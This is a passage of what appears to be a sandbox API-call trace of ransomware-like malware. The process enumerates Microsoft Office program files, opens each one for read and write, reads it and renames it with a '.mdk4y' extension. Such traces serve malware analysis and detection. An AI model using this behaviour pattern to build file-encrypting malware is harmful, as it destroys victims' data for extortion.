ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x29a, lpOverlapped=0x0) returned 1 [0190.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826535600000) returned 1 [0190.126] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826535600000) returned 1 [0190.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.mdk4y")) returned 1 [0190.127] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.127] AreFileApisANSI () returned 1 [0190.127] GetACP () returned 0x4e4 [0190.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATHEDITOR_COL.HXT", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATHEDITOR_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 22 [0190.127] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.128] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826535800000) returned 1 [0190.129] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6, lpOverlapped=0x0) returned 1 [0190.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826535900000) returned 1 [0190.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826535900000) returned 1 [0190.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.mdk4y")) returned 1 [0190.130] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.130] AreFileApisANSI () returned 1 [0190.130] GetACP () returned 0x4e4 [0190.130] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATHEDITOR_F_COL.HXK", cchWideChar=24, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATHEDITOR_F_COL.HXKxsn", lpUsedDefaultChar=0x37df4c) returned 24 [0190.130] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.131] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536100000) returned 1 [0190.131] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0190.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536200000) returned 1 [0190.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536200000) returned 1 [0190.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_f_col.hxk.mdk4y")) returned 1 [0190.133] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.133] AreFileApisANSI () returned 1 [0190.133] GetACP () returned 0x4e4 [0190.133] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATHEDITOR_K_COL.HXK", cchWideChar=24, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATHEDITOR_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 24 [0190.133] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536300000) returned 1 [0190.133] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0190.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536400000) returned 1 [0190.134] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536400000) returned 1 [0190.134] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_k_col.hxk.mdk4y")) returned 1 [0190.135] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.135] AreFileApisANSI () returned 1 [0190.135] GetACP () returned 0x4e4 [0190.135] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATH_COL.HXC", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATH_COL.HXC_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 16 [0190.135] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826536600000) returned 1 [0190.136] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27c, lpOverlapped=0x0) returned 1 [0190.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826537400000) returned 1 [0190.144] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826537400000) returned 1 [0190.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.mdk4y")) returned 1 [0190.146] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.146] AreFileApisANSI () returned 1 [0190.146] GetACP () returned 0x4e4 [0190.146] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATH_COL.HXT", cchWideChar=16, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATH_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 16 [0190.146] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826537600000) returned 1 [0190.147] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd0, lpOverlapped=0x0) returned 1 [0190.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826537700000) returned 1 [0190.147] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826537700000) returned 1 [0190.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.mdk4y")) returned 1 [0190.148] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.148] AreFileApisANSI () returned 1 [0190.148] GetACP () returned 0x4e4 [0190.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATH_F_COL.HXK", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATH_F_COL.HXKOL.HXK", lpUsedDefaultChar=0x37df4c) returned 18 [0190.148] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826537900000) returned 1 [0190.149] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0190.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826538000000) returned 1 [0190.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826538000000) returned 1 [0190.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk.mdk4y")) returned 1 [0190.150] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.150] AreFileApisANSI () returned 1 [0190.150] GetACP () returned 0x4e4 [0190.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INFOPATH_K_COL.HXK", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INFOPATH_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 18 [0190.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826538200000) returned 1 [0190.152] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0190.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826538300000) returned 1 [0190.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826538300000) returned 1 [0190.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_k_col.hxk.mdk4y")) returned 1 [0190.154] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.154] AreFileApisANSI () returned 1 [0190.154] GetACP () returned 0x4e4 [0190.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INSTLIST.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INSTLIST.VRDOL.HXK", lpUsedDefaultChar=0x37df4c) returned 12 [0190.154] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826538500000) returned 1 [0190.155] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x76b, lpOverlapped=0x0) returned 1 [0190.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826539100000) returned 1 [0190.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826539100000) returned 1 [0190.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.mdk4y")) returned 1 [0190.162] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.162] AreFileApisANSI () returned 1 [0190.162] GetACP () returned 0x4e4 [0190.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="INVENTRY.VRD", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="INVENTRY.VRD", lpUsedDefaultChar=0x37df4c) returned 12 [0190.162] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826539200000) returned 1 [0190.162] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x332, lpOverlapped=0x0) returned 1 [0190.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826540200000) returned 1 [0190.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826540200000) returned 1 [0190.173] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.mdk4y")) returned 1 [0190.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.182] AreFileApisANSI () returned 1 [0190.182] GetACP () returned 0x4e4 [0190.182] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Invite or Link.one", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Invite or Link.one", lpUsedDefaultChar=0x37df4c) returned 18 [0190.182] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.183] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826541300000) returned 1 [0190.184] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2bc8, lpOverlapped=0x0) returned 1 [0190.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826541500000) returned 1 [0190.185] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826541500000) returned 1 [0190.185] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.mdk4y")) returned 1 [0190.186] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.186] AreFileApisANSI () returned 1 [0190.186] GetACP () returned 0x4e4 [0190.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPDSINTL.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IPDSINTL.DLLnk.one", lpUsedDefaultChar=0x37df4c) returned 12 [0190.186] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.187] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826541700000) returned 1 [0190.187] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0190.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826544800000) returned 1 [0190.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826544800000) returned 1 [0190.241] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.mdk4y")) returned 1 [0190.243] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.243] AreFileApisANSI () returned 1 [0190.243] GetACP () returned 0x4e4 [0190.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPEDINTL.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IPEDINTL.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0190.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826547400000) returned 1 [0190.244] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7b90, lpOverlapped=0x0) returned 1 [0190.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826551300000) returned 1 [0190.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826551300000) returned 1 [0190.290] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.mdk4y")) returned 1 [0190.292] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.292] AreFileApisANSI () returned 1 [0190.292] GetACP () returned 0x4e4 [0190.292] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IPOLKINTL.DLL", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="IPOLKINTL.DLLk.one", lpUsedDefaultChar=0x37df4c) returned 13 [0190.292] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.293] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826552300000) returned 1 [0190.293] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e7b0, lpOverlapped=0x0) returned 1 [0190.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826555100000) returned 1 [0190.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826555100000) returned 1 [0190.324] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPOLKINTL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipolkintl.dll.mdk4y")) returned 1 [0190.326] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0190.326] AreFileApisANSI () returned 1 [0190.326] GetACP () returned 0x4e4 [0190.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Issue Tracking.gta", cchWideChar=18, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Issue Tracking.gta", lpUsedDefaultChar=0x37df4c) returned 18 [0190.326] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Issue Tracking.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\issue tracking.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0190.327] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826555700000) returned 1 [0190.327] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3cebf, lpOverlapped=0x0) returned 1 [0190.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826557000000) returned 1 